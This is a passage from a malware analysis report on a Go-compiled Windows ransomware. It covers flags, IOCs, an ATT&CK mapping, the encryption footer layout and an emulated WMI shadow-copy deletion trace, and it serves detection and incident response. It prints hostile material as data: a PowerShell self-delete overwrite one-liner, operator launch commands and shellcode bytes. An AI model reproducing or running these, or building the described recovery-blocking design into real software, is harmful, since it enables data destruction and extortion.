### 10.7 I/O Throttling

Encryption loop with auto-sleep (cf §5.5) — caps effective I/O below ~100 MB/s, makes the burst detectable-less-sharp than a classic encrypt flood.

### 10.8 Anti-Analysis Summary

| Category | Status | Notes |
|---|---|---|
| Anti-debug | None active in user code | The `int 3` / `INT 2D` detected automatically are in `runtime.debugCall*` (Go runtime for Delve) — false positive |
| Anti-VM | None | `cpuid` present in `internal_cpu.cpuid` (SSE/AVX runtime detection) — no VMware/VBox/hypervisor check |
| Anti-sandbox | None explicit | No "maltest/sandbox/john" username check, no sleep-acceleration detection. `time.Sleep` is used, but as crypto throttling not as a lure |
| Anti-disasm | None | No junk insns, no overlap, no self-mod (aside from the shellcode loader) |
| String obfusc. | Partial | Config + shellcode are gzip (decrypted at runtime). Go runtime strings and API names are in clear |
| API hashing | No | `GetProcAddress` via `LazyProc.Find` (literal name). Automatic `[U0217]` mapping is a false positive — name is literal |
| Privilege guard | Yes | check_admin ≥ HIGH IL — rejects standard users |
| Kill switch | No | No self-check country/lang (no CIS exclusion) |

Summary: **ransomware minimalist on the evasion side** (no anti-debug/VM/sandbox tricks), but solid on **anti-forensics** (secure self-delete, VSS wipe, recycle bin emptied).

---

## 11. Command-Line Arguments

Parsed via `flag.FlagSet` (9 flags, explicit defaults):

| Flag | Type | Default | Description |
|---|---|---|---|
| `-path <string>` | string | `""` | Root path (else enum drives) |
| `-delay <int>` | int | `0` | Pre-exec delay in minutes. Loop sleeps 1 s × 60 × delay, respects ctx |
| `-time <HH:MM>` | string | `""` | Fixed start time ( `time.Parse("15:04")` ). Loop sleeps 1 s until match. Mutually exclusive with `-delay` |
| `-perc <int>` | int | `1` | Percentage of each file to encrypt (chunk size = `(perc<<8)/100<<12` bytes). Min **1%**, max **100%** |
| `-threads <int>` | int | `0` | Encryption workers. `0` → 4 workers × N_drives (auto). N > 0 → N global workers |
| `-keep` | bool | `false` | Don't auto-delete the binary after run |
| `-hide` | bool | `false` | Hide the console ( `SW_HIDE` ) |
| `-fast` | bool | `false` | Force `perc=100` (full encryption) |
| `-log <string>` | string | `""` | Log file path. Empty → `$USERPROFILE\progress.log` when `-hide` or `-log` is set |

Typical operator usage:

```
ransomware.exe -hide -perc 10 -threads 8 -log "C:\temp\out.log"
ransomware.exe -fast -time "23:00"
ransomware.exe -path "D:\shared" -keep
```

## 12. Static Imports Summary

| Category | Key APIs |
|---|---|
| **Crypto** | (all via `crypto/*` stdlib — no Win32 import): `aes.NewCipher`, `cipher.NewCTR`, `cipher.newGCMWithNonceAndTagSize`, `ecdh.X25519().GenerateKey/NewPublicKey/ECDH`, `rand.Reader`, `hash/crc32.ChecksumIEEE` |
| **File I/O** | Static: `kernel32!CreateFileA`, `WriteFile`. Dyn (via Go stdlib `os/syscall`): `CreateFileW`, `ReadFile`, `MoveFileExW`, `GetFileAttributesW`, `SetFileAttributesW`, `GetFileInformationByHandleEx` |
| **Process** | Static: `CreateThread`, `ExitProcess`. Dyn: `CreateProcessW`, `OpenProcessToken`, `GetTokenInformation` |
| **Registry** | **None** |
| **Network** | `ws2_32` present (Go runtime), but **no user socket** (no online C2, no SMB crawling) |
| **Memory** | Static: `VirtualAlloc`, `VirtualFree`, `VirtualQuery`. Dyn: `VirtualProtect` (for the shellcode) |
| **COM / WMI** | `ole32`, `oleaut32` — via JIT shellcode, no Go-side symbols |
| **Restart Manager** | `rstrtmgr!Rm*` — dyn |
| **Shell** | `shell32!SHEmptyRecycleBinW`, `user32!ShowWindow`, `kernel32!GetConsoleWindow` |
| **Exec** | `os/exec.Command` / `.Start` → `CreateProcessW` under the hood (PowerShell spawn) |

## 13. Indicators of Compromise (IOCs)

### 13.1 Hashes

| Type | Value |
|---|---|
| SHA-256 | `b09ece33ffe5efb1903526229595a8c74d983c731505bee09c2a005036c834b8` |
| MD5 | `071e2e0087554d96bba6a4ab73d88cd0` |

### 13.2 Network

| Type | Value |
|---|---|
| Onion (neg. portal) | `pippahtohg6qgioqu3ixrsueefuw7thythmmeanyrgwn3eixcuu6jvqd.onion` |
| Tox ID (support) | `9A1217BEDA4AB77052A25D17CB6FFB34AFA2BE462E607F2FD8E1DF1DDD4CA16A64E18B1A0BF2` |

### 13.3 Files

| Indicator | Value |
|---|---|
| Encrypted extension | `.8hmlsewu` |
| Ransom note | `RECOVERY_NOTES.TXT` (in every dir matching `desktop` / `documents`, case-insensitive) |
| Renamed files | `<randStr16>.<ext>` — 16 chars `[a-z0-9]` + extension |
| Footer magic (complete) | `0x741FBE88` (4 LE bytes: `88 BE 1F 74`) at the last 1,024 bytes |
| Footer magic (partial) | `0x3828AC45` (4 LE bytes: `45 AC 28 38`) — file in progress |
| Footer size | 1,024 B at end of every encrypted file |
| Log file | `%USERPROFILE%\progress.log` when `-hide` or `-log` is set |

### 13.4 Registry

**None** — no key created/modified.

### 13.5 Mutex

- Global: `str(CRC32("kek" + Hostname()))` in decimal.
- Example: hostname `DESKTOP-ABC` → CRC32 = some value → `Sprintf("%d", crc)`.

### 13.6 Behavioural

- Creates a global mutex (name = decimal CRC32 that includes `"kek"` + hostname)
- Opens the process token, reads `TokenIntegrityLevel` (policy-based guard)
- Generates an ephemeral X25519 keypair via `crypto/rand`
- Enumerates `A:\` through `Z:\` via `GetDriveTypeW`
- Recursively walks retained drives, sorts dirs/files, walk/fan-out
- Per eligible file: `MoveFileExW` (rename), then `CreateFileW` + chunked AES-CTR encryption
- Calls `rstrtmgr!RmStartSession` / `RmRegisterResources` / `RmGetList` / `RmShutdown` / `RmEndSession` when a rename fails (file locked)
- Calls `SetFileAttributesW` to strip READONLY
- `VirtualProtect` + `CreateThread` on a `.rdata`-decompressed blob (WMI shellcode) → COM chain calling `Win32_ShadowCopy.Delete()`
- `SHEmptyRecycleBinW`
- `CreateProcessW("powershell.exe -c ...")` with secure self-delete payload
- Communication: no outbound connection (victim redirected to Tor Browser out-of-band)

### 13.7 Distinctive Strings

- `"Config unpack error."` / `"Config decode error."` — hints at gzip+gob embedded config
- `"check_admin err: %s"` + `"Current IL = 0x%04X, not elevated."`
- `"only one instance"` — mutex already exists
- `"%s [LOCAL] Started."` / `"%s [LOCAL] All operations complited."` (NOTE: typo "complited" instead of "completed")
- `"%s [LOCAL] %s per sec. Success - %d file(s), %s. Error - %d file(s), %s\n"` — progress ticker

- `"%s [LOCAL] Rename ERROR: %s\n"` / `"%s [LOCAL] OpenFile ERROR: %s\n"` / `"%s [LOCAL] encode_file ERROR: %s\n"` / `"%s [LOCAL] NOTE ERROR: %s\n"` (systematic `[LOCAL]` prefix → suggests a `NETWORK` variant)
- `"Percentage: %d%%\n"` / `"Delayed start after %d min. Waiting.\n"` / `"Delayed start at %02d:%02d. Current time is %02d:%02d. Waiting.\n"` / `"Can't decode -time parameter. err: %s"`
- `"aes.NewCipher '%s' err: %s"` / `"stat '%s' err: so small, %d"` / `"Seek '%s' err: %s"` / `"binary.Read '%s' err: %s"` / `"binary.Write '%s' err: %s"` — error formats
- `"\\progress.log"` — default log filename
- `"$USERPROFILE"` — log path base
- `"string too long: %d bytes, max %d"` (in `NameToBuf`)
- `"-c"` + `"powershell.exe"` — self-delete spawn
- `"$f='"` + `"';while(Test-Path -Path $f){$o=new-object byte[] 10485760;(new-object Random).NextBytes($o);[IO.File]::WriteAllBytes($f,$o);Remove-Item -Path $f;Sleep 1;}"` — **highly distinctive signature**
- `"kek"` — mutex name prefix
- `"abcdefghijklmnopqrstuvwxyz0123456789"` — randStr charset
- `"[LOCAL]"` — log prefix
- Dynamic DLL name strings: `"rstrtmgr.dll"`, `"ole32.dll"`, `"oleaut32.dll"`, `"shell32.dll"`, `"user32.dll"`, `"kernel32.dll"` (literals)
- `"LocalAlloc"`, `"LocalFree"`, `"VirtualProtect"`, `"CreateThread"`, `"GetConsoleWindow"`, `"ShowWindow"`, `"SHEmptyRecycleBinW"` — LazyProc targets
- `"CoInitializeEx"`, `"CoInitializeSecurity"`, `"CoCreateInstance"`, `"CoSetProxyBlanket"`, `"SysAllocString"`, `"SysFreeString"`, `"VariantClear"`, `"wsprintfW"` — WMI shellcode resolutions
- `"RmStartSession"`, `"RmRegisterResources"`, `"RmGetList"`, `"RmShutdown"`, `"RmEndSession"` — Restart Manager
- `"GetDriveType"` / `"TokenIntegrityLevel"` / `"CreateMutex"` — Win32 primitives via x/sys/windows

### 13.8 Unique Artefacts

- Encrypted file has exactly **1,024 B of footer** with the two magics above and a chunk counter at the end; **easy YARA signature** (look for `88 BE 1F 74 XX XX XX XX` at `-1024` of `EOF` + `len(file) > 1024`).
- The `RECOVERY_NOTES.TXT` note is **dropped only inside `Desktop` or `Documents` dirs** (case-insensitive) — not at drive root, not in every folder. **Hunt path** typically: `C:\Users\*\Desktop\RECOVERY_NOTES.TXT`, `C:\Users\*\Documents\RECOVERY_NOTES.TXT`.
- The `.exe` is **always auto-deleted** unless `-keep` → on a post-run host, trace of the binary is gone; remaining: encrypted files, optional `progress.log`, note inside `Desktop` / `Documents`.

---

## 14. MITRE ATT&CK Mapping

| ID | Technique | Implementation |
|---|---|---|
| **T1486** | Data Encrypted for Impact | Per-file AES-256-CTR (§5.2) + AES-256-GCM wrap (§5.3) with X25519 ECDH (§5.1) |
| **T1490** | Inhibit System Recovery | `main.delete_shadow` — WMI shellcode calling `Win32_ShadowCopy.Delete()` (§7) |
| **T1070.004** | File Deletion | `main.self_delete` (PowerShell secure overwrite + `Remove-Item`, §10.4); `main.empty_recycle_bin` (§10.5) |
| **T1070** | Indicator Removal on Host | Combination of self-delete + empty recycle bin + no Windows event logs |
| **T1140** | Deobfuscate/Decode Files or Information | Config gzip+gob (§5.1); shellcode gzip (§7) |
| **T1480** | Execution Guardrails | `check_admin` (IL ≥ HIGH) refuses to run otherwise (§10.2) |
| **T1027** | Obfuscated Files or Information | Config + shellcode gzip-compressed (hide-in-plain-sight of strings) |
| **T1027.007** | Dynamic API Resolution | `LazyDLL` + `LazyProc.Find` (= `LoadLibrary` + `GetProcAddress`) for 17 dynamic DLLs |
| **T1027.010** | Command Obfuscation | PowerShell self-delete one-liner built by runtime concatenation |
| **T1047** | Windows Management Instrumentation | VSS delete shellcode via WMI COM (§7) |
| **T1055** | Process Injection (self) | `VirtualProtect(PAGE_EXECUTE_READWRITE)` + `CreateThread` on decompressed buffer (self-injection in the Go process) |
| **T1059.001** | Command and Scripting Interpreter: PowerShell | `powershell.exe -c` for self-delete |
| **T1564.003** | Hide Artifacts: Hidden Window | `ShowWindow(HWND, SW_HIDE)` (`-hide` flag) |
| **T1083** | File and Directory Discovery | `main.local_walk` (`os.ReadDir` recursive) |
| **T1082** | System Information Discovery | `os.Hostname()` (for mutex); `GetDriveTypeW` (for drive filtering); `GetTokenInformation(TokenIntegrityLevel)` |
| **T1106** | Native API | Heavy usage via `golang.org/x/sys/windows` and dynamic LazyProc |
| **T1657** | Financial Theft | Note asks for BTC payment via Tor portal |
| **T1561** | Disk Wipe (partial) | `-fast` or `-perc 100` → complete overwrite of all targeted data |

## 15. Summary

**m3rx (variant `LOCAL`)** is a **Go-compiled Windows x64 ransomware**, minimalist on the evasion side but well-structured on crypto and anti-forensics. Characteristic: the whole flow — CLI parsing, config, crypto, file enumeration, threading pipeline, self-delete — fits in **30 `main.*` functions** (≈ 30 KB of user code) built on Go stdlib (`crypto/aes`, `crypto/cipher`, `crypto/ecdh`, `encoding/gob`, `compress/gzip`, `os/exec`, `sync`, `context`). No packer, no code obfuscation, Go symbols preserved via pclntab ⇒ fast analysis after Lumina.

**Sound, classic cryptographic architecture**, two layers:

1. **Inter-file**: X25519 ECDH with embedded attacker pubkey (gzip+gob 4,096 B blob at `0x55ECBF`); one ephemeral pair per instance (= per victim) ⇒ `shared_secret` 32 B stable for the whole session, used as KEK.
2. **Intra-file**: per-file key 32 B + IV 16 B random, AES-256-CTR in chunks ( `(perc<<8)/100<<12` B, throttled ≤999 ms), finalised by AES-256-GCM wrap of the file-key (nonce = first 12 B of the IV field, i.e. `footer[+8 .. +20]` ) + AES-CTR of the original filename; magics `0x3828AC45` (partial) / `0x741FBE88` (complete) at the start of the 1,024 B footer.

Operational strategy **"gentle but thorough"**: **partial encryption by default** (1%), `-fast` to bypass (100%); auto throttling for I/O stealth; rename to `<16 random chars>.8hmlsewu` + Tor victim-ID to avoid trivial inter-file correlation. Removable/fixed/remote drives enumerated (skip CD/RAM). **No** service stop, **no** kill-listed processes; the only reaction to locked files is **Restart Manager** at the tail ( `RmShutdown(FORCE)` ).

**Prominent anti-forensics**: VSS deletion via **embedded WMI shellcode** (gzip → JIT via `VirtualProtect` + `CreateThread` ), silent recycle bin empty, **PowerShell self-delete** with 10 MiB random overwrite loop before `Remove-Item` . **No** online C2 (victim ↔ operator via Tor Browser out-of-band); **no** exfiltration (the "files have been stolen" wording relies on an external stealer not in this binary).

Simple guardrail **T1480**: refuses to run in Medium IL — requires prior elevation (UAC already consented); global mutex `CRC32("kek"+Hostname())` prevents multi-instance. **RECOVERY_NOTES.TXT** dropped ONLY in `Desktop` / `Documents` (case-insensitive), contains onion + unique chat path ( `WAJCTZ6FOJF75KB5XVRYBFERX6` ) + Tox, with double-extortion rhetoric (publication + sharing with competitors).

**Sophistication level**: medium. Solid crypto and anti-forensics, but: - No anti-debug, no anti-VM, no anti-sandbox. - No propagation (SMB, WMI/PsExec, WMIExec). - No AV/service kill. - Strings in clear except config and shellcode. - Characteristic misspelling "**complited**" in the final log.

**Operational risk level**: high as soon as the attacker lands a HIGH IL run — the binary does exactly what's needed to make recovery impossible without the attacker's X25519 private key, and wipes its traces. The incident-response window is **short** (fire-and-forget self-delete at end of run).

**Cryptographic properties observed statically**: - `attacker_priv` (X25519 private key matching `K1` ) is required to compute `shared_secret = ECDH(attacker_priv, ephemeral_pub)` and unwrap `file_key` . - RNG is `crypto/rand` ; X25519 + AES-CTR + AES-GCM come from the Go stdlib. - Per-file random 16 B IV, per-file random 32 B `file_key` ; no nonce reuse across files, no key reuse. - Files with footer magic `0x3828AC45` (partial pass) contain `file_key` in clear at footer+24.

---

## Appendix A — Extracted artefacts

| Artefact | File | Size |
|---|---|---|
| Config gzip+gob blob (raw, from `.rdata` ) | `m3rx_blob_v2.bin` | 4,200 B (bytes @ 0x55ECBF) |
| Config gzip (full stream) | `m3rx_config_blob.bin` | 4,101 B (hdr 5B + blob 4096B) |
| Config gzip (blob only, no header) | `m3rx_config_blob_raw.bin` | 4,096 B |
| Config plaintext (after gzip.decompress) | `m3rx_config_plain.bin` | 1,522 B |
| Shellcode gzip blob (raw) | `m3rx_shellcode_blob.bin` | 794 B |
| WMI shellcode (after gzip.decompress, x86-64) | `m3rx_wmi_shellcode.bin` | 1,313 B |

## Appendix B — Extracted gob struct `main.EC`

```
type EC struct {
    K1 [32]uint8   // Attacker X25519 public key
    EX string      // Extension (no leading dot)
    NN string      // Note filename
    NT []byte      // Note content (raw bytes)
}
// Decoded values:
//   K1 = cdbe4aed37c98d67a005ef469e7e0586e0ff8973b91a8d577d320e67cf46b572
//   EX = "8hmlsewu"
//   NN = "RECOVERY_NOTES.TXT"
//   NT = <1361 bytes, see §3>
```

## Appendix C — Footer layout (1,024 B, little-endian) — VALIDATED

```
offset  size   field                notes
──────────────────────────────────────────────────────────────────
+0      4 B    magic (u32 LE)       0x3828AC45 = partial (file_key in clear)
                                    0x741FBE88 = complete (file_key sealed)
+4      4 B    perc (u32 LE)        value of -perc flag (1..100)
+8      16 B   iv[16]               AES-CTR IV (random pass1); first 12 bytes
                                    also serve as GCM nonce
+24     32 B   file_key[32]         per-file AES-256 key (random)
                                    • pass1 / partial : plaintext (recoverable!)
                                    • final pass      : plaintext input to Seal,
                                                        sealed form at +88
+56     32 B   ephemeral_pub[32]    ← X25519 ephemeral public key (written at
                                    final pass via memmove from global
                                    g_ephemeral_x25519_pubkey @ 0x6C80C0)
                                    — required for recovery by the attacker
+88     48 B   gcm_sealed[48]       AES-256-GCM Seal output = ct(32) || tag(16)
                                    plaintext input = file_key (32 B)
                                    key = g_shared_secret @ 0x6C80E0 (ECDH result)
                                    nonce = iv[0..12]
                                    AAD = none
+136    884 B  filename_enc[884]    AES-CTR(key=file_key, iv=iv) over the
                                    original UTF-8 filename, zero-padded
+1020   4 B    chunk_counter (u32)  number of CTR chunks processed; cap 51,200
──────────────────────────────────────────────────────────────────
Total = 1024 B  (IDA struct `m3rx_Footer` defined in the IDB)
```

## Appendix D — WMI shellcode fingerprint (first 48 bytes)

```
E9 00 00 00 00 40 53 56 55 57 41 54 41 55 41 56
48 81 EC E0 00 00 00 45 33 F6 B8 3A 1D 00 00 48
8B D9 66 89 44 24 64 B8 D0 11 00 00 41 8D 56 02
```

Standard x86-64 prologue ( `push rbx/rbp/rsi/rdi/r12/r13/r14` + `sub rsp, 0xE0` ); `B8 3A 1D 00 00` = `mov eax, 0x1D3A` — intermediate word of CLSID_WbemLocator (bytes `3A 1D` ); wide-string construction on the stack via `66 C7 44 24 ??` ( `D$XX` patterns) — standard WMI shellcode with no statically-resolvable strings.

## Appendix E — Unicorn emulation trace (WMI shellcode)

Complete trace captured while simulating 2 fake `Win32_ShadowCopy` instances (see `emulate_m3rx_shellcode.py`):

```
 1. CoInitializeEx(reserved=0x0, coinit=2)                              [COINIT_MULTITHREADED]
 2. CoInitializeSecurity(pSD=0, cAuth=-1, authSvc=0, reserved1=0,
                         authnLvl=0, impLvl=3)                          [DEFAULT, IMPERSONATE]
 3. CoCreateInstance(CLSID={4590F811-1D3A-11D0-891F-00AA004B2E24},      [CLSID_WbemLocator]
                     IID={DC12A687-737F-11CF-884D-00AA004B2E24},        [IID_IWbemLocator]
                     ctx=1)                                              [CLSCTX_INPROC_SERVER]
 4. SysAllocString(L"ROOT\\CIMV2")                                      → BSTR ns
 5. IWbemLocator::ConnectServer(ns=L"ROOT\\CIMV2")                      → *ppSvc=pSvc
 6. CoSetProxyBlanket(proxy=pSvc, authnSvc=10, authzSvc=0)              [RPC_C_AUTHN_WINNT]
 7. SysAllocString(L"WQL")                                              → BSTR queryLang
 8. SysAllocString(L"SELECT * FROM Win32_ShadowCopy")                   → BSTR query
 9. IWbemServices::ExecQuery(lang, query, flags=0x20)                   [WBEM_FLAG_FORWARD_ONLY]
10. LocalAlloc(flags=0x40, size=1024)                                   [LPTR]
11. [LOOP it1]  IEnumWbemClassObject::Next()                            → obj1, retCount=1
12.             IWbemClassObject::Get(prop=L"ID")                       → VT_BSTR, L"{GUID1}"
13.             wsprintfW(fmt=L"Win32_ShadowCopy.ID='%s'", L"{GUID1}")→
L"Win32_ShadowCopy.ID='{GUID1}'"
14.             SysAllocString(L"Win32_ShadowCopy.ID='{GUID1}'")       → BSTR path1
15.         *** IWbemServices::DeleteInstance(path1, flags=0x0) ***     [KILL]
16.             SysFreeString(path1) ; VariantClear() ; Release(obj1)
17. [LOOP it2]  IEnumWbemClassObject::Next()                            → obj2, retCount=1
18.             IWbemClassObject::Get(prop=L"ID")                       → VT_BSTR, L"{GUID2}"
19.             wsprintfW + SysAllocString + DeleteInstance(path2)      [KILL]
20.             SysFreeString + VariantClear + Release(obj2)
21. [LOOP end]  IEnumWbemClassObject::Next()                            → retCount=0 (exit)
22. LocalFree ; Release(pEnum) ; SysFreeString(query) ;
    SysFreeString(queryLang) ; Release(pSvc) ; SysFreeString(ns) ;
    Release(pLoc)
```

**Key observations**:

- **No global WMI string** — all built on stack via `mov dword/word ptr [rsp+X], imm`; invisible to `strings(1)` on the extracted shellcode, reconstructible at runtime.
- **No `CoUninitialize`** — the thread exits, Windows cleans up.
- **No rigorous error checking**: failures silently fall through via shared epilogue paths.
- **Direct `DeleteInstance`** (vtable +0x80) instead of `ExecMethod(..., L"Delete", ...)` → highly discriminant signature.

---